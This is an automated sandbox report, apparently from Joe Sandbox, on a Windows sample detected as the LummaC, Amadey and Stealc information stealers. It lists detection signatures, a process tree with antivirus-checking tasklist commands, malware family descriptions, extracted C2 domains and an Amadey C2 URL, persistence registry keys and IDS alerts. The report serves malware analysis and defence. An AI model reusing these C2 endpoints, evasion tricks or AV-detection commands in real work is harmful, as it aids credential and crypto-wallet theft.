Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546642
MD5:	2422d51ed6d21df3ce5591f3b0a03125
SHA1:	4ec30e94c8c554a45adbc0826e3b97fdf40b0741
SHA256:	98727c9ef422f67f6858530e833b101bf235d8e78b363c201fd0f0125c861c2c
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SLDT)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6800 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2422D51ED6D21DF3CE5591F3B0A03125)

FT773VWATWFL9SRK5RTU4.exe (PID: 6796 cmdline: "C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe" MD5: 1AF38DAD1105E9914199EA0FF2832F33)

KOLH45MMED0OMDDRYHIG.exe (PID: 932 cmdline: "C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe" MD5: 025ADBE1C02028C4282272BF62A18A02)

skotes.exe (PID: 1460 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 025ADBE1C02028C4282272BF62A18A02)

skotes.exe (PID: 7488 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 025ADBE1C02028C4282272BF62A18A02)

fontcreator.exe (PID: 7688 cmdline: "C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" MD5: 6FDF2CDF68AB1880AA76E7938E241FA3)

fontcreator.tmp (PID: 7708 cmdline: "C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp" /SL5="$C0076,2820349,845824,C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" MD5: 945EC37B9971C5E9F26FAFAD6EDFD46E)

fontcreator.exe (PID: 7780 cmdline: "C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" /VERYSILENT MD5: 6FDF2CDF68AB1880AA76E7938E241FA3)

fontcreator.tmp (PID: 7800 cmdline: "C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp" /SL5="$50284,2820349,845824,C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" /VERYSILENT MD5: 945EC37B9971C5E9F26FAFAD6EDFD46E)

cmd.exe (PID: 7836 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7884 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7892 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7980 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8032 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 8040 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 8088 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8140 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 8156 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 3412 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1272 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5640 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7232 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3288 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1028 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 932 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2844 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2496 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

Updater.exe (PID: 6820 cmdline: "C:\Users\user\AppData\Local\hangbird\\Updater.exe" "C:\Users\user\AppData\Local\hangbird\\caliculus.csv" MD5: 3F58A517F1F4796225137E7659AD2ADB)

fontcreator.exe (PID: 8080 cmdline: "C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" MD5: 6FDF2CDF68AB1880AA76E7938E241FA3)

fontcreator.tmp (PID: 8184 cmdline: "C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp" /SL5="$30472,2820349,845824,C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" MD5: 945EC37B9971C5E9F26FAFAD6EDFD46E)

fontcreator.exe (PID: 7292 cmdline: "C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" /VERYSILENT MD5: 6FDF2CDF68AB1880AA76E7938E241FA3)

fontcreator.tmp (PID: 7268 cmdline: "C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp" /SL5="$40474,2820349,845824,C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" /VERYSILENT MD5: 945EC37B9971C5E9F26FAFAD6EDFD46E)

cmd.exe (PID: 2004 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6252 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5952 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 3052 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7180 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7196 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 1888 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6712 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2756 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 4408 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5696 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1928 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5932 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5812 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

9eba8044e7.exe (PID: 5448 cmdline: "C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe" MD5: 2422D51ED6D21DF3CE5591F3B0A03125)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: LummaC

{"C2 url": ["necklacedmny.store", "crisiwarny.store", "thumbystriw.store", "founpiuer.store", "navygenerayk.store", "scriptyprefej.store", "fadehairucw.store", "presticitpo.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1003147001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1695973685.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1682695202.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1682378325.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1900844822.0000000000391000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000003.1876760920.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000003B.00000003.2580293126.0000000001772000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000003B.00000003.2622372839.0000000001771000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000003B.00000003.2590778879.0000000001773000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000003B.00000003.2603936780.000000000176E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1724503778.00000000007F5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1917446000.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1728050949.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1710137219.00000000007EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1682138495.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1682087443.00000000007EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000003B.00000003.2620779995.0000000001771000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000003B.00000003.2644607291.0000000001772000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1696023139.00000000007F6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1724342554.00000000007F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1860646756.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000003B.00000003.2623509191.0000000001771000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1696327370.00000000007F6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000003B.00000003.2580198517.000000000176F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2333467798.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000003B.00000003.2603984252.000000000177B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000003B.00000003.2664417098.0000000001774000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6800	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6800	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6800	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9eba8044e7.exe PID: 5448	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9eba8044e7.exe PID: 5448	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9eba8044e7.exe PID: 5448	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.skotes.exe.ee0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.KOLH45MMED0OMDDRYHIG.exe.390000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.skotes.exe.ee0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7488, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9eba8044e7.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7488, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9eba8044e7.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:56:13.594462+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49739	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:55:55.655613+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	188.114.97.3	443	TCP
2024-11-01T10:55:56.948469+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	188.114.97.3	443	TCP
2024-11-01T10:55:58.229241+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	188.114.97.3	443	TCP
2024-11-01T10:55:59.600939+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	188.114.97.3	443	TCP
2024-11-01T10:56:01.098720+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	188.114.97.3	443	TCP
2024-11-01T10:56:02.788751+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	188.114.97.3	443	TCP
2024-11-01T10:56:04.266060+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.97.3	443	TCP
2024-11-01T10:56:08.454124+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	188.114.97.3	443	TCP
2024-11-01T10:57:24.618615+0100	2028371	3	Unknown Traffic	192.168.2.4	49910	188.114.97.3	443	TCP
2024-11-01T10:57:26.435960+0100	2028371	3	Unknown Traffic	192.168.2.4	49920	188.114.97.3	443	TCP
2024-11-01T10:57:29.087395+0100	2028371	3	Unknown Traffic	192.168.2.4	49932	188.114.97.3	443	TCP
2024-11-01T10:57:30.593139+0100	2028371	3	Unknown Traffic	192.168.2.4	49946	188.114.97.3	443	TCP
2024-11-01T10:57:32.410702+0100	2028371	3	Unknown Traffic	192.168.2.4	49957	188.114.97.3	443	TCP
2024-11-01T10:57:35.675617+0100	2028371	3	Unknown Traffic	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-01T10:57:37.391494+0100	2028371	3	Unknown Traffic	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-01T10:57:37.471214+0100	2028371	3	Unknown Traffic	192.168.2.4	49990	188.114.97.3	443	TCP
2024-11-01T10:57:39.010381+0100	2028371	3	Unknown Traffic	192.168.2.4	50002	188.114.97.3	443	TCP
2024-11-01T10:57:40.624050+0100	2028371	3	Unknown Traffic	192.168.2.4	50026	188.114.97.3	443	TCP
2024-11-01T10:57:41.975461+0100	2028371	3	Unknown Traffic	192.168.2.4	50035	188.114.97.3	443	TCP
2024-11-01T10:57:43.440916+0100	2028371	3	Unknown Traffic	192.168.2.4	50049	188.114.97.3	443	TCP
2024-11-01T10:57:45.978107+0100	2028371	3	Unknown Traffic	192.168.2.4	50058	188.114.97.3	443	TCP
2024-11-01T10:57:45.987367+0100	2028371	3	Unknown Traffic	192.168.2.4	50056	188.114.97.3	443	TCP
2024-11-01T10:57:47.599649+0100	2028371	3	Unknown Traffic	192.168.2.4	50072	188.114.97.3	443	TCP
2024-11-01T10:57:48.034495+0100	2028371	3	Unknown Traffic	192.168.2.4	50073	188.114.97.3	443	TCP
2024-11-01T10:58:14.349475+0100	2028371	3	Unknown Traffic	192.168.2.4	50113	188.114.97.3	443	TCP
2024-11-01T10:58:15.876212+0100	2028371	3	Unknown Traffic	192.168.2.4	50115	188.114.97.3	443	TCP
2024-11-01T10:58:17.274062+0100	2028371	3	Unknown Traffic	192.168.2.4	50116	188.114.97.3	443	TCP
2024-11-01T10:58:18.475976+0100	2028371	3	Unknown Traffic	192.168.2.4	50118	188.114.97.3	443	TCP
2024-11-01T10:58:19.663931+0100	2028371	3	Unknown Traffic	192.168.2.4	50119	188.114.97.3	443	TCP
2024-11-01T10:58:21.023684+0100	2028371	3	Unknown Traffic	192.168.2.4	50122	188.114.97.3	443	TCP
2024-11-01T10:58:22.987515+0100	2028371	3	Unknown Traffic	192.168.2.4	50125	188.114.97.3	443	TCP
2024-11-01T10:58:24.533606+0100	2028371	3	Unknown Traffic	192.168.2.4	50126	188.114.97.3	443	TCP
2024-11-01T10:58:24.655869+0100	2028371	3	Unknown Traffic	192.168.2.4	50127	104.21.85.194	443	TCP
2024-11-01T10:58:25.498979+0100	2028371	3	Unknown Traffic	192.168.2.4	50129	104.21.85.194	443	TCP
2024-11-01T10:58:26.933396+0100	2028371	3	Unknown Traffic	192.168.2.4	50131	104.21.85.194	443	TCP
2024-11-01T10:58:28.251132+0100	2028371	3	Unknown Traffic	192.168.2.4	50133	104.21.85.194	443	TCP
2024-11-01T10:58:29.832953+0100	2028371	3	Unknown Traffic	192.168.2.4	50134	104.21.85.194	443	TCP
2024-11-01T10:58:31.357581+0100	2028371	3	Unknown Traffic	192.168.2.4	50141	104.21.85.194	443	TCP
2024-11-01T10:58:33.837280+0100	2028371	3	Unknown Traffic	192.168.2.4	50147	104.21.85.194	443	TCP
2024-11-01T10:58:36.214647+0100	2028371	3	Unknown Traffic	192.168.2.4	50158	104.21.85.194	443	TCP
2024-11-01T10:58:50.945786+0100	2028371	3	Unknown Traffic	192.168.2.4	50186	104.21.85.194	443	TCP
2024-11-01T10:58:51.816131+0100	2028371	3	Unknown Traffic	192.168.2.4	50187	104.21.85.194	443	TCP
2024-11-01T10:58:53.035423+0100	2028371	3	Unknown Traffic	192.168.2.4	50189	104.21.85.194	443	TCP
2024-11-01T10:58:54.287354+0100	2028371	3	Unknown Traffic	192.168.2.4	50191	104.21.85.194	443	TCP
2024-11-01T10:58:55.304036+0100	2028371	3	Unknown Traffic	192.168.2.4	50194	104.21.85.194	443	TCP
